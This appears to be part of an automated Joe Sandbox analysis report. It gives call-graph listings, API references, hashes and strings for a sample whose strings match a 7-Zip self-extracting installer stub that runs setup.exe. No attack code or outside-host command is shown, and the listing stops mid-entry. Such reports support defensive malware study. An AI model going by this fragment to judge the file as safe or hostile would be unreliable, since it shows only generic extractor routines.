404d51 30 API calls 16377->16378 16379 404c64 16378->16379 16412 405468 16379->16412 16382 405468 30 API calls 16383 404c86 16382->16383 16384 403d24 30 API calls 16383->16384 16385 404c97 16384->16385 16386 403a9c ctype 29 API calls 16385->16386 16392 404ca3 16386->16392 16388 404cfe 16389 403a9c ctype 29 API calls 16388->16389 16391 404d0a 16389->16391 16390 403d24 30 API calls 16390->16392 16393 40551a FindClose 16391->16393 16392->16388 16392->16390 16396 404cd3 16392->16396 16422 405949 16392->16422 16426 404d6c 16392->16426 16395 404d13 16393->16395 16441 40489c SetFileAttributesA 16395->16441 16399 403a9c ctype 29 API calls 16396->16399 16398 404d1c 16400 404d27 16398->16400 16442 4048aa RemoveDirectoryA 16398->16442 16401 404cdf 16399->16401 16404 403a9c ctype 29 API calls 16400->16404 16403 40551a FindClose 16401->16403 16405 404ce8 16403->16405 16407 403a9c ctype 29 API calls 16405->16407 16409 404cf0 16407->16409 16411 403a9c ctype 29 API calls 16409->16411 16413 405472 __EH_prolog 16412->16413 16414 403d24 30 API calls 16413->16414 16415 405485 16414->16415 16416 401ee5 30 API calls 16415->16416 16417 405494 16416->16417 16418 403d24 30 API calls 16417->16418 16419 40549f 16418->16419 16420 403a9c ctype 29 API calls 16419->16420 16421 404c75 16420->16421 16421->16382 16424 405951 16422->16424 16425 40596a 16424->16425 16443 405929 16424->16443 16425->16392 16427 404d76 __EH_prolog 16426->16427 16428 404d88 16427->16428 16429 404da9 16427->16429 16453 405417 16428->16453 16431 405417 30 API calls 16429->16431 16433 404db8 16431->16433 16435 404bdc 2 API calls 16433->16435 16436 404da2 16435->16436 16437 403a9c ctype 29 API calls 16436->16437 16438 404dc9 16437->16438 16441->16398 16442->16400 16444 405939 16443->16444 16445 40592e 16443->16445 16447 40553a 32 API calls 16444->16447 16449 4057cf FindNextFileA 16445->16449 16448 405937 16447->16448 16448->16424 16450 4057f1 16449->16450 16451 4057ff 16449->16451 16452 40557f 30 API calls 16450->16452 16451->16448 16452->16451 16454 405421 __EH_prolog 16453->16454 16455 403d24 30 API calls 16454->16455 16456 405434 16455->16456 16463 4054b9 16456->16463 16464 40248c 30 API calls 16463->16464 16475 416d5d 16466->16475 16469 416cc9 GetCurrentProcess TerminateProcess 16470 416cda 16469->16470 16471 416d44 16470->16471 16472 416d4b ExitProcess 16470->16472 16478 416d66 16471->16478 16476 41570a ctype 29 API calls 16475->16476 16477 416cbe 16476->16477 16477->16469 16477->16470 16481 41576b LeaveCriticalSection 16478->16481 16480 414bed 16480->13693 16481->16480 16482 416cb8 16483 416d5d 29 API calls 16482->16483 16484 416cbe 16483->16484 16485 416cc9 GetCurrentProcess TerminateProcess 16484->16485 16486 416cda 16484->16486 16485->16486 16487 416d44 16486->16487 16488 416d4b ExitProcess 16486->16488 16489 416d66 LeaveCriticalSection 16487->16489 16490 416d49 16489->16490 16491 40b8bb 16492 40b8c8 16491->16492 16496 40b8d9 16491->16496 16492->16496 16497 40b8fa 16492->16497 16495 403a9c ctype 29 API calls 16495->16496 16498 40b904 __EH_prolog 16497->16498 16499 4042d6 ctype 34 API calls 16498->16499 16500 40b928 16499->16500 16501 4042ad ctype 34 API calls 16500->16501 16502 40b933 16501->16502 16503 4042d6 ctype 34 API calls 16502->16503 16504 40b94a 16503->16504 16505 4042ad ctype 34 API calls 16504->16505 16506 40b955 16505->16506 16507 4099bc 34 API calls 16506->16507 16508 40b8d3 16507->16508 16508->16495 16509 40372e 16514 40374a 16509->16514 16512 403743 16513 403a9c ctype 29 API calls 16513->16512 16515 403754 __EH_prolog 16514->16515 16530 4037de 16515->16530 16517 403777 16518 403a9c ctype 29 API calls 16517->16518 16519 403782 16518->16519 16534 4036d0 DeleteCriticalSection 16519->16534 16522 403a9c ctype 29 API calls 16523 403793 16522->16523 16524 403a9c ctype 29 API calls 16523->16524 16525 4037ad 16524->16525 16526 403a9c ctype 29 API calls 16525->16526 16527 4037b5 16526->16527 16528 403a9c ctype 29 API calls 16527->16528 16529 403736 16528->16529 16529->16512 16529->16513 16531 4037e7 16530->16531 16532 4037eb DestroyWindow 16530->16532 16531->16517 16533 4037fb 16532->16533 16533->16517 16535 4131e0 ctype 2 API calls 16534->16535 16536 4036e5 16535->16536 16537 403a9c ctype 29 API calls 16536->16537 16538 4036ed 16537->16538 16538->16522

                                                                                                          Executed Functions

                                                                                                          Function 00414B04 Relevance: 6.1, APIs: 4, Instructions: 81COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          APIs
                                                                                                          • GetVersion.KERNEL32 ref: 00414B2A
                                                                                                            • Part of subcall function 004159F8: HeapCreate.KERNELBASE(00000000,00001000,00000000,00414B62,00000001), ref: 00415A09
                                                                                                            • Part of subcall function 004159F8: HeapDestroy.KERNEL32 ref: 00415A48
                                                                                                          • GetCommandLineA.KERNEL32 ref: 00414B8A
                                                                                                          • GetStartupInfoA.KERNEL32(?), ref: 00414BB5
                                                                                                          • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00414BD8
                                                                                                            • Part of subcall function 00414C31: ExitProcess.KERNEL32 ref: 00414C4E
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
                                                                                                          • String ID:
                                                                                                          • API String ID: 2057626494-0
                                                                                                          • Opcode ID: e3a55e15dfbba78f576db0669a4780403b126b59620817d16bca0fbeb85d5517
                                                                                                          • Instruction ID: b13fe99396feb2249fb7197ea22bdd2eb3a8d4431b5d50e9622b99800ed9eeb5
                                                                                                          • Opcode Fuzzy Hash: e3a55e15dfbba78f576db0669a4780403b126b59620817d16bca0fbeb85d5517
                                                                                                          • Instruction Fuzzy Hash: 0721D2B0A44705AFD718AFB6DC46BEE7BB8EF44714F10052FF9009A291DB3C85808A9C
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004055DE Relevance: 6.1, APIs: 4, Instructions: 59fileCOMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 004055E3
                                                                                                            • Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525
                                                                                                          • FindFirstFileW.KERNELBASE(?,?), ref: 00405611
                                                                                                          • AreFileApisANSI.KERNEL32(?), ref: 0040563D
                                                                                                          • FindFirstFileA.KERNEL32(?,?,00000001), ref: 0040565E
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: FileFind$First$ApisCloseH_prolog
                                                                                                          • String ID:
                                                                                                          • API String ID: 4121580741-0
                                                                                                          • Opcode ID: fcb5256250039c908afd196fb8e76c17c38080862ebf91937f58451f3d562862
                                                                                                          • Instruction ID: 53571c6d670a3437f98eaf3b47711b77fa147e423a783867877babb07b55427d
                                                                                                          • Opcode Fuzzy Hash: fcb5256250039c908afd196fb8e76c17c38080862ebf91937f58451f3d562862
                                                                                                          • Instruction Fuzzy Hash: AB21813180050ADFCF11EF60C8459EEBB75EF00329F10476AE4A5B61E1DB399A85CF48
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040553A Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON
                                                                                                          Download Yara Rule
                                                                                                          APIs
                                                                                                            • Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525
                                                                                                          • FindFirstFileA.KERNELBASE(?,?,000000FF), ref: 00405559
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: Find$CloseFileFirst
                                                                                                          • String ID:
                                                                                                          • API String ID: 2295610775-0
                                                                                                          • Opcode ID: 4d5417fc6ca074e65557f02866c61fee52306747aaa4eef42dce5467d8724910
                                                                                                          • Instruction ID: 4d0f5172a85985fc9641596f45f8b0e99eb03685ed3a07152804d04183bf4296
                                                                                                          • Opcode Fuzzy Hash: 4d5417fc6ca074e65557f02866c61fee52306747aaa4eef42dce5467d8724910
                                                                                                          • Instruction Fuzzy Hash: 5DE0923040050876CB20BF35DC019EB776AEF11398F104276F955672E5D738D9468F98
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 00401014 Relevance: 56.7, APIs: 12, Strings: 20, Instructions: 692windowsynchronizationCOMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 0 401014-401124 call 401a51 call 402170 * 4 GetCommandLineW call 401c80 call 4038ee call 403a9c call 402170 call 4045e2 call 40235e call 402323 call 401c80 call 401e3a call 403b4f call 403a9c * 2 35 401126-401155 call 401e19 call 401d7a call 403a9c call 40235e call 402323 0->35 36 40115a-401184 call 40243e call 401af4 0->36 35->36 45 401186-401189 36->45 46 40119f-4011cb call 401c80 call 402170 36->46 48 401197-40119a 45->48 49 40118b-401192 call 411093 45->49 62 4014b1-4014d5 call 401ecd call 405298 46->62 63 4011d1-4011f7 call 402155 call 403d5a 46->63 53 4019c4-4019f7 call 403a9c * 6 48->53 49->48 109 4019fa 53->109 78 4014f0-4014fc call 403a76 62->78 79 4014d7-4014da 62->79 80 401212-4012a1 call 401c80 call 404073 call 403a9c call 401c80 call 404073 call 403a9c call 401c80 call 404073 call 403a9c call 403b4f 63->80 81 4011f9-4011fc 63->81 99 401513 78->99 100 4014fe-401511 call 401f0d 78->100 85 4014e8-4014eb 79->85 86 4014dc-4014e3 call 411093 79->86 189 4012a3 80->189 190 4012a9-4012d1 call 401c80 call 404041 call 403a9c 80->190 82 40120a-40120d 81->82 83 4011fe-401205 call 411093 81->83 91 401333-401398 call 4042d6 call 4042ad call 403a9c * 8 82->91 83->82 94 401998-4019c1 call 401a2d call 403a9c * 3 85->94 86->85 91->109 94->53 106 401515-401517 99->106 100->106 112 401519-40151b 106->112 113 40151f-401528 call 408107 106->113 118 4019fc-401a00 109->118 112->113 125 40152a-401536 call 411093 113->125 126 40153b-401583 call 401a03 call 402170 call 402f15 113->126 140 40163e-401640 125->140 156 401585-401588 126->156 157 4015f9-401622 call 403a9c call 401ecd call 405033 SetCurrentDirectoryA 126->157 140->85 145 401646-40164c 140->145 145->85 161 4015f1-4015f4 156->161 162 40158a-40158d 156->162 196 401651-401654 157->196 197 401624-40163d SetCurrentDirectoryA call 403a9c * 2 157->197 166 4018b7-4018cb call 403a9c * 2 161->166 167 401594-4015b7 call 40602f call 401d7a call 403a9c 162->167 168 40158f-401592 162->168 200 4018d3-401935 call 401a2d call 403a9c * 9 166->200 201 4018cd-4018cf 166->201 169 4015bc-4015c1 167->169 168->167 168->169 169->161 178 4015c3-4015c6 169->178 178->161 184 4015c8-4015f0 call 40602f MessageBoxW call 403a9c 178->184 184->161 189->190 235 4012d3-4012e6 call 401d7a 190->235 236 4012eb-4012ee 190->236 202 40165a-401691 call 401a18 196->202 203 40172c-40172f 196->203 197->140 200->118 201->200 222 401693-40169a call 401de3 202->222 223 40169f-4016e4 call 401a18 ShellExecuteExA 202->223 211 401731-40176b call 401d1b call 401a18 call 40587c call 403a9c 203->211 212 401787-4017f9 call 401ce1 call 405d0b call 401c80 call 401e56 call 403a9c * 2 call 401c80 call 401e56 call 403a9c 203->212 211->212 278 40176d-401770 211->278 324 401811-401891 call 402634 call 401a18 call 403a9c GetFileAttributesW 212->324 325 4017fb-40180c call 401db8 call 401de3 212->325 222->223 245 4016e6-4016e9 223->245 246 40170d-401727 call 403a9c * 2 223->246 235->236 242 4012f4-4012f7 236->242 243 40139d-4014ac call 401c80 call 404073 call 401d7a call 403a9c * 2 call 401c80 call 404073 call 401d7a call 403a9c * 2 call 401c80 call 404073 call 402634 call 401d7a call 403a9c * 6 call 4042d6 call 4042ad 236->243 242->243 251 4012fd-40130f MessageBoxW 242->251 243->62 253 4016f7-401708 call 403a9c * 2 245->253 254 4016eb-4016f2 call 411093 245->254 281 40195a-40195e 246->281 251->243 259 401315-401330 call 403a9c * 3 251->259 287 4018ae 253->287 254->253 259->91 279 401776-401782 call 411093 278->279 280 4018af-4018b4 SetCurrentDirectoryA 278->280 279->280 280->166 289 401960-40196e WaitForSingleObject CloseHandle 281->289 290 401974-40197c SetCurrentDirectoryA call 403a9c 281->290 287->280 289->290 303 401981-401990 call 403a9c 290->303 303->94 317 401992-401994 303->317 317->94 342 401897-40189a 324->342 343 40193a-401955 CloseHandle call 403a9c 324->343 325->324 345 4018a3-4018a9 call 403a9c 342->345 346 40189c-40189e call 411127 342->346 343->281 345->287 346->345
                                                                                                          APIs
                                                                                                            • Part of subcall function 00401A51: GetVersionExA.KERNEL32(?), ref: 00401A6B
                                                                                                          • GetCommandLineW.KERNEL32(00000003,00000003,00000003,00000003,?,00000000), ref: 0040108B
                                                                                                            • Part of subcall function 004038EE: __EH_prolog.LIBCMT ref: 004038F3
                                                                                                            • Part of subcall function 004045E2: __EH_prolog.LIBCMT ref: 004045E7
                                                                                                            • Part of subcall function 004045E2: GetModuleFileNameW.KERNEL32(?,?,00000105,00000003,00000000,00000000), ref: 00404618
                                                                                                            • Part of subcall function 0040235E: __EH_prolog.LIBCMT ref: 00402363
                                                                                                            • Part of subcall function 00402323: __EH_prolog.LIBCMT ref: 00402328
                                                                                                            • Part of subcall function 00403D5A: __EH_prolog.LIBCMT ref: 00403D5F
                                                                                                          • MessageBoxW.USER32(00000000,?,?,00000010), ref: 004015DF
                                                                                                          • SetCurrentDirectoryA.KERNELBASE(?,?,00000001,?,?,00000003,00000003,0042023C,;!@InstallEnd@!,?,00000003,00000000,00000002,00420274,00000003,?), ref: 0040161E
                                                                                                          • SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 00401627
                                                                                                          • ShellExecuteExA.SHELL32(0000003C,?,00000000), ref: 004016D7
                                                                                                          • MessageBoxW.USER32(00000000,?,?,00000024), ref: 00401306
                                                                                                            • Part of subcall function 00411093: MessageBoxW.USER32(00000000,?,7-Zip,00000010), ref: 0041109C
                                                                                                            • Part of subcall function 00402F15: __EH_prolog.LIBCMT ref: 00402F1A
                                                                                                          • SetCurrentDirectoryA.KERNEL32(?,?,00000000), ref: 004018B2
                                                                                                          • CloseHandle.KERNEL32(?,?,00000000), ref: 00401940
                                                                                                          • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00401965
                                                                                                          • CloseHandle.KERNEL32(?,?,00000000), ref: 0040196E
                                                                                                          • SetCurrentDirectoryA.KERNELBASE(?,?,00000000), ref: 00401977
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: H_prolog$CurrentDirectory$Message$CloseHandle$CommandExecuteFileLineModuleNameObjectShellSingleVersionWait
                                                                                                          • String ID: $%%T$%%T\$;!@Install@!UTF-8!$;!@InstallEnd@!$<$> @$Can not create temp folder archive$Can not find setup.exe$Can not load codecs$Can not open file$Can't load config info$Config failed$D$Directory$ExecuteFile$ExecuteParameters$RunProgram$Title$setup.exe
                                                                                                          • API String ID: 2760820266-829806607
                                                                                                          • Opcode ID: 2ae731fc3f4a3823738156fd9143628e005fdebe6c7a76c6afd666806b1dc003
                                                                                                          • Instruction ID: 30a6e78c0a87ce65c61bf6c489231b06ab30573cf11c386798d37ebdc1e5dfdc
                                                                                                          • Opcode Fuzzy Hash: 2ae731fc3f4a3823738156fd9143628e005fdebe6c7a76c6afd666806b1dc003
                                                                                                          • Instruction Fuzzy Hash: 57524971D002199ADF21EFA1DC85AEEBB75BF04318F1040BFE149761A2DB395A85CF58
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 0040AD19 Relevance: 14.2, APIs: 9, Instructions: 682COMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          • Executed
                                                                                                          • Not Executed
                                                                                                          control_flow_graph 372 40ad19-40ad3d call 413954 call 40d7cc 377 40ad43-40ad79 call 402155 call 413310 call 40640d 372->377 378 40b2d7-40b2dc 372->378 386 40ae60-40ae97 call 40acc4 call 40b99b call 40b63c 377->386 387 40ad7f 377->387 379 40b605-40b613 378->379 402 40aeb6-40aec6 call 4042d6 386->402 403 40ae99-40aeb0 call 40b753 386->403 389 40ad82-40ad8c call 403a76 387->389 395 40ad9c 389->395 396 40ad8e-40ad9a 389->396 398 40ad9e-40ada3 395->398 396->398 400 40ada5-40ada7 398->400 401 40adab-40add6 call 403a76 398->401 400->401 410 40add8-40ade8 401->410 411 40adea 401->411 414 40aed1-40aed5 402->414 415 40aec8-40aece 402->415 403->402 413 40b071-40b087 403->413 412 40adec-40adf1 410->412 411->412 418 40adf3-40adf5 412->418 419 40adf9-40ae32 call 40640d call 40a5e4 412->419 426 40b08d-40b090 413->426 427 40b4bf-40b4e1 call 40a402 413->427 416 40aed7-40aeeb call 403a76 414->416 417 40af18-40af2a 414->417 415->414 431 40aef6 416->431 432 40aeed-40aef4 call 40b860 416->432 429 40af73-40af79 417->429 430 40af2c-40af6e call 4042ad call 4099bc DeleteCriticalSection call 403800 417->430 418->419 449 40ae34-40ae36 419->449 450 40ae3a-40ae40 419->450 435 40b093-40b0c8 426->435 445 40b4e3-40b4e9 427->445 446 40b4ec-40b4ef 427->446 441 40b05f-40b06e call 40b96f 429->441 442 40af7f-40afac call 4063bd 429->442 506 40b535-40b549 call 4042d6 call 4042ad 430->506 439 40aef8-40af0c call 40640d 431->439 432->439 453 40b0f3-40b0f9 435->453 454 40b0ca-40b0d3 435->454 470 40af13 439->470 471 40af0e-40af11 439->471 441->413 472 40afb2-40afbd 442->472 473 40b197-40b1a0 442->473 445->446 456 40b4f1-40b533 call 4042ad call 4099bc DeleteCriticalSection call 403800 446->456 457 40b54e-40b57e call 4032a8 call 404327 446->457 449->450 461 40ae42-40ae44 450->461 462 40ae48-40ae57 450->462 467 40b101-40b149 call 4032a8 * 2 call 404327 * 2 453->467 468 40b0fb-40b0fd 453->468 463 40b382-40b388 454->463 464 40b0d9-40b0ea 454->464 456->506 520 40b580-40b597 call 4039df 457->520 521 40b599-40b5b9 call 409cc8 457->521 461->462 462->389 474 40ae5d 462->474 480 40b390-40b3d7 call 4042ad call 4099bc DeleteCriticalSection call 403800 463->480 481 40b38a-40b38c 463->481 499 40b0f0 464->499 500 40b3d9-40b3e2 464->500 576 40b163-40b169 467->576 577 40b14b-40b161 call 4039df 467->577 468->467 477 40af15 470->477 471->477 482 40afeb-40afef 472->482 483 40afbf-40afc3 472->483 484 40b1a2-40b1a4 473->484 485 40b1a8-40b1b1 473->485 474->386 477->417 562 40b42c-40b442 call 4042d6 call 4042ad 480->562 481->480 487 40b270-40b279 482->487 488 40aff5-40b004 call 40640d 482->488 483->482 493 40afc5-40afca 483->493 484->485 495 40b1b3-40b1b5 485->495 496 40b1b9-40b1fd call 4042ad call 4099bc DeleteCriticalSection call 403800 485->496 504 40b281-40b2d2 call 4042ad call 4099bc DeleteCriticalSection call 403800 call 4042d6 call 4042ad 487->504 505 40b27b-40b27d 487->505 527 40b011-40b026 call 40bab0 488->527 528 40b006-40b00c call 40a0de 488->528 508 40afd0-40afdc call 40640d 493->508 509 40b202-40b20b 493->509 495->496 496->506 499->453 512 40b3e4-40b3e6 500->512 513 40b3ea-40b425 call 4042ad call 4099bc DeleteCriticalSection call 403800 500->513 504->378 505->504 569 40b603 506->569 508->527 537 40afde-40afe9 call 40a0b9 508->537 515 40b216-40b21c 509->515 516 40b20d-40b213 509->516 512->513 513->562 530 40b224-40b26b call 4042ad call 4099bc DeleteCriticalSection call 403800 515->530 531 40b21e-40b220 515->531 516->515 520->521 549 40b5bc-40b5fe call 4042ad * 2 call 4099bc call 40b845 call 40a5ac 521->549 565 40b028-40b02a 527->565 566 40b02e-40b037 527->566 528->527 530->506 531->530 537->527 549->569 562->379 565->566 574 40b039-40b03b 566->574 575 40b03f-40b048 566->575 569->379 574->575 585 40b050-40b059 575->585 586 40b04a-40b04c 575->586 588 40b33a-40b36e call 4042ad * 2 576->588 589 40b16f 576->589 577->576 585->441 585->442 586->585 588->435 627 40b374-40b379 588->627 595 40b172-40b179 589->595 600 40b2e5 595->600 601 40b17f 595->601 603 40b2e8-40b2ea 600->603 605 40b182-40b184 601->605 607 40b2f8-40b2ff 603->607 608 40b2ec-40b2f6 603->608 610 40b2e1-40b2e3 605->610 611 40b18a-40b190 605->611 614 40b310 607->614 615 40b301 607->615 613 40b31e-40b334 call 4039df 608->613 610->603 611->605 617 40b192 611->617 613->588 613->595 619 40b313-40b315 614->619 618 40b304-40b306 615->618 617->600 622 40b308-40b30e 618->622 623 40b37e-40b380 618->623 624 40b447-40b4ba call 4042ad * 3 call 4099bc DeleteCriticalSection call 403800 call 4042d6 call 4042ad 619->624 625 40b31b 619->625 622->614 622->618 623->619 624->379 625->613 627->427
                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 0040AD1E
                                                                                                            • Part of subcall function 0040D7CC: __EH_prolog.LIBCMT ref: 0040D7D1
                                                                                                            • Part of subcall function 00413310: InitializeCriticalSection.KERNEL32(?,?,?,00000000,00000000), ref: 0041333E
                                                                                                          • DeleteCriticalSection.KERNEL32(?), ref: 0040AF52
                                                                                                          • DeleteCriticalSection.KERNEL32(?), ref: 0040B1DF
                                                                                                          • DeleteCriticalSection.KERNEL32(?), ref: 0040B24A
                                                                                                          • DeleteCriticalSection.KERNEL32(?), ref: 0040B2A7
                                                                                                          • DeleteCriticalSection.KERNEL32(?), ref: 0040B3B6
                                                                                                          • DeleteCriticalSection.KERNEL32(?), ref: 0040B410
                                                                                                          • DeleteCriticalSection.KERNEL32(?,?,?,00000004,00000004), ref: 0040B485
                                                                                                          • DeleteCriticalSection.KERNEL32(?), ref: 0040B517
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: CriticalSection$Delete$H_prolog$Initialize
                                                                                                          • String ID:
                                                                                                          • API String ID: 3452124646-0
                                                                                                          • Opcode ID: 5f6b8a8cdbdc89edeaeca9fb6a48680f4fe42b6689f54ac84f6a401f85157967
                                                                                                          • Instruction ID: 06aa0bffc57edc8446930be4fb3d3ecc4288fdccd94c57135405988f21593cb0
                                                                                                          • Opcode Fuzzy Hash: 5f6b8a8cdbdc89edeaeca9fb6a48680f4fe42b6689f54ac84f6a401f85157967
                                                                                                          • Instruction Fuzzy Hash: 5D625E7090024ADFDB14DFA4C944BDDBBB4EF14308F1480AEE815B72D2DB789A49DB99
                                                                                                          Uniqueness

                                                                                                          Uniqueness Score: -1.00%

                                                                                                          Function 004059B3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62fileCOMMON
                                                                                                          Download Yara Rule

                                                                                                          Control-flow Graph

                                                                                                          APIs
                                                                                                          • __EH_prolog.LIBCMT ref: 004059B8
                                                                                                          • AreFileApisANSI.KERNEL32(?,?,00000000,00000003,?,00000000,?,00000000), ref: 004059DC
                                                                                                            • Part of subcall function 0040597A: CreateFileA.KERNEL32(?,00000001,?,00000000,?,?,00000000,?,KA,00405A0D,?,?,?,KA,?,00000001), ref: 0040599C
                                                                                                          • CreateFileW.KERNELBASE(?,?,?,00000000,KA,?,00000000,?,00000000,00000003,?,00000000,?,00000000), ref: 00405A41
                                                                                                          Strings
                                                                                                          Memory Dump Source
                                                                                                          • Source File: 00000020.00000002.1860997979.0000000000401000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00400000, based on PE: true
                                                                                                          • Associated: 00000020.00000002.1860964585.0000000000400000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861155103.000000000041B000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861232134.0000000000420000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861343763.0000000000422000.00000008.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861504564.0000000000423000.00000004.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          • Associated: 00000020.00000002.1861825077.0000000000427000.00000002.00000001.01000000.0000001E.sdmpDownload File
                                                                                                          Joe Sandbox IDA Plugin
                                                                                                          • Snapshot File: hcaresult_32_2_400000_jmqKcbM6AONnRhvOZmBZdvm3.jbxd
                                                                                                          Similarity
                                                                                                          • API ID: File$Create$ApisH_prolog
                                                                                                          • String ID: KA
                                                                                                          • API String ID: 1948390111-4133974868
                                                                                                          • Opcode ID: f88b55b959810e929b2353b4b1d1eb61229a220c48e216d77a80ee84dd8b33a8
                                                                                                          • Instruction ID: 6ceee1153368ae3910bf8b124445a1a72b78f4c7609cf7ab69cd6f34e54ac91e
